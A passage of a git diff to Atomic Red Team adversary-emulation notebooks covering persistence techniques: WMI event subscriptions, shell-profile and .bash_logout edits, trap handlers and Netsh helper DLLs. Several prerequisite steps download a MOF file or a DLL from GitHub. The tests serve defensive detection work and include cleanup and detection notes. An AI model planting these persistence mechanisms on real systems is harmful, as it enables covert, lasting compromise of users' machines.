"3cd96fac", + "id": "509ff06c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e2f68389", + "id": "279c1059", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9873e3de", + "id": "04b1fa09", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "db0b4e55", + "id": "5b24f3c2", "metadata": {}, - "source": "### Atomic Test #3 - Windows MOFComp.exe Load MOF File\nThe following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"c:\\windows\\system32\\wbem\\mofcomp.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nValidate MOFComp.exe is on disk somewhere and update input argument.\n\n```\n##### Description: MofComp.exe must exist on disk at specified location (#{mof_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\"\n\n```" + "source": "### Atomic Test #3 - Windows MOFComp.exe Load MOF File\nThe following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"c:\\windows\\system32\\wbem\\mofcomp.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nValidate MOFComp.exe is on disk somewhere and update input argument.\n\n```\n##### Description: MofComp.exe must exist on disk at specified location (#{mof_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "40d00923", + "id": "4d37a86d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "61360648", + "id": "6f5ab79f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nc:\\windows\\system32\\wbem\\mofcomp.exe PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\n```" + "```powershell\nc:\\windows\\system32\\wbem\\mofcomp.exe \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "52f5b675", + "id": "1291a6fb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "06918963", + "id": "5fdcd73b", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam_consumer'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam_filter'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n```" }, { "cell_type": "code", "execution_count": null, - "id": "40b8f85b", + "id": "6b7d803f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "f3a33428", + "id": "77fdb2ef", "metadata": {}, "source": "## Detection\nMonitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)" } @@ -137,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.004.ipynb b/playbook/tactics/privilege-escalation/T1546.004.ipynb index 050765ec..f58c1e93 100644 --- a/playbook/tactics/privilege-escalation/T1546.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c1ab49dc", + "id": "2ebcafdd", "metadata": {}, "source": "# T1546.004 - Unix Shell Configuration Modification\nAdversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup." }, { "cell_type": "markdown", - "id": "640c3df2", + "id": "a9c034ee", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "94d7f14b", + "id": "9a76042d", "metadata": {}, "source": [ "### Atomic Test #1 - Add command to .bash_profile", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "54433b2f", + "id": "4e035e6b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "535d7876", + "id": "dffc020e", "metadata": {}, "source": "#### Cleanup: \n```sh\nhead -n '-2' ~/.bash_profile > /tmp/T1546.004\nmv /tmp/T1546.004 ~/.bash_profile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d9ce721", + "id": "00dca919", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "192de240", + "id": "e80a1d4b", "metadata": {}, "source": [ "### Atomic Test #2 - Add command to .bashrc", @@ -61,31 +61,65 @@ { "cell_type": "code", "execution_count": null, - "id": "e50054b5", + "id": "d3594dd2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a75437e8", + "id": "d232264f", "metadata": {}, "source": "#### Cleanup: \n```sh\nhead -n '-2' ~/.bashrc > /tmp/T1546.004\nmv /tmp/T1546.004 ~/.bashrc\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9704d614", + "id": "791743be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "dbaa012c", + "id": "e981633a", "metadata": {}, "source": [ - "### Atomic Test #3 - Append to the system shell profile", + "### Atomic Test #3 - Add command to .shrc", + "Adds a command to the .shrc file of the current user\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho 'echo \"Hello from Atomic Red Team T1546.004\" > /tmp/T1546.004' >> ~/.shrc\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "54d7f274", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "84cf2786", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nhead -n '-2' ~/.shrc > /tmp/T1546.004\nmv /tmp/T1546.004 ~/.shrc\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dab80583", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7879defc", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Append to the system shell profile", "An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time \"any\" user logs in.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -96,31 +130,31 @@ { "cell_type": "code", "execution_count": null, - "id": "7737d787", + "id": "64b86956", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "41cecb0e", + "id": "f05922af", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"s/# Atomic Red Team was here! T1546.004//\" /etc/profile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0e26d189", + "id": "c19fabb8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "8093946d", + "id": "9b51e155", "metadata": {}, "source": [ - "### Atomic Test #4 - Append commands user shell profile", + "### Atomic Test #5 - Append commands user shell profile", "An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the \"user\" logs in.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -131,31 +165,31 @@ { "cell_type": "code", "execution_count": null, - "id": "574b517e", + "id": "66f873bb", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "aaa4f855", + "id": "36b6ca3f", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"s/# Atomic Red Team was here... T1546.004//\" ~/.profile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e79bcec3", + "id": "d24074df", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "64daf99c", + "id": "963b84aa", "metadata": {}, "source": [ - "### Atomic Test #5 - System shell profile scripts", + "### Atomic Test #6 - System shell profile scripts", "An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time \"any\" user logs in.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -166,28 +200,63 @@ { "cell_type": "code", "execution_count": null, - "id": "7737f7ce", + "id": "a479e96e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1ee695a4", + "id": "c916bbbf", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"s/# Atomic Red Team was here... T1546.004//\" /etc/profile.d/bash_completion.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "69be77f2", + "id": "b7e87389", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.004 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ae6ded5c", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Create/Append to .bash_logout", + "The Bash shell runs ~/.bash_logout \"if it exists\" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an \"interactive login shell session\" i.e. via the console, SSH, /bin/bash -l or su -l . \n\nThis test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/art.txt is created.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd --create-home --shell /bin/bash art\nsu --login art\necho 'echo \"Atomic Red Team was here... T1546.004\" >> $HOME/art.txt' >> $HOME/.bash_logout\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dbb72a2d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "256c98af", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -fr art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8ec14576", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.004 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "586840b7", + "id": "f606329c", "metadata": {}, "source": "## Detection\nWhile users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n" } @@ -195,13 +264,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.005.ipynb b/playbook/tactics/privilege-escalation/T1546.005.ipynb index 9dad9ad8..9ccc8ffe 100644 --- a/playbook/tactics/privilege-escalation/T1546.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8b9db722", + "id": "8ee948ec", "metadata": {}, "source": "# T1546.005 - Trap\nAdversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)" }, { "cell_type": "markdown", - "id": "b1a3f80d", + "id": "83857517", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e55b3d32", + "id": "3534b96f", "metadata": {}, "source": [ "### Atomic Test #1 - Trap EXIT", @@ -27,31 +27,76 @@ { "cell_type": "code", "execution_count": null, - "id": "2d2dbfae", + "id": "e2715faf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "44e244a9", + "id": "88013f62", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d74166c", + "id": "79d38aec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "2a229047", + "id": "ee28ab84", + "metadata": {}, + "source": "### Atomic Test #2 - Trap EXIT (freebsd)\nLaunch bash shell with command arg to create TRAP on EXIT.\nThe trap executes script that writes to /tmp/art-fish.txt\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if bash is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v bash)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y bash)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7cd214c3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b56b57c6", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nbash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" EXIT'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "28cc437c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "5c4e5eb7", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "93acfdd8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9930c5ab", "metadata": {}, "source": [ - "### Atomic Test #2 - Trap SIGINT", + "### Atomic Test #3 - Trap SIGINT", "Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.\nThe trap executes script that writes to /tmp/art-fish.txt\n", "**Supported Platforms:** macos, linux", "#### Attack Commands: Run with `sh`\n", @@ -61,28 +106,73 @@ { "cell_type": "code", "execution_count": null, - "id": "8f67bb8c", + "id": "cb21c766", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2" + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "81e8e138", + "id": "788fc94e", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7fd03ae0", + "id": "74805c7f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1546.005 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5699f569", + "metadata": {}, + "source": "### Atomic Test #4 - Trap SIGINT (freebsd)\nLaunch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.\nThe trap executes script that writes to /tmp/art-fish.txt\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if bash is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v bash)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y bash)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5d1f2e38", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "65126870", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nbash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" SIGINT && kill -SIGINT $$'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7368ea36", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "24230d39", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/art-fish.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3e7b0e44", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "20517fff", + "id": "d03d735e", "metadata": {}, "source": "## Detection\nTrap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts." } @@ -90,13 +180,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.006.ipynb b/playbook/tactics/privilege-escalation/T1546.006.ipynb index 3c9e2244..4b460501 100644 --- a/playbook/tactics/privilege-escalation/T1546.006.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "66ef0b78", + "id": "e6f41584", "metadata": {}, "source": "# T1546.006 - LC_LOAD_DYLIB Addition\nAdversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)" }, { "cell_type": "markdown", - "id": "505179d9", + "id": "74b6e5e0", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c3b2f727", + "id": "013fbef3", "metadata": {}, "source": "## Detection\nMonitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.007.ipynb b/playbook/tactics/privilege-escalation/T1546.007.ipynb index 2d6e7f02..59a46a5e 100644 --- a/playbook/tactics/privilege-escalation/T1546.007.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.007.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "b04a183b", + "id": "188b3bf2", "metadata": {}, "source": "# T1546.007 - Netsh Helper DLL\nAdversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)" }, { "cell_type": "markdown", - "id": "8c78dd54", + "id": "e29f8317", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2180d15d", + "id": "cd9ad7f4", "metadata": {}, - "source": "### Atomic Test #1 - Netsh Helper DLL Registration\nYou can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Helper DLL must exist on disk at specified location (#{helper_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\n\n```" + "source": "### Atomic Test #1 - Netsh Helper DLL Registration\nYou can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Helper DLL must exist on disk at specified location (#{helper_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c04d8dfc", + "id": "773893de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": 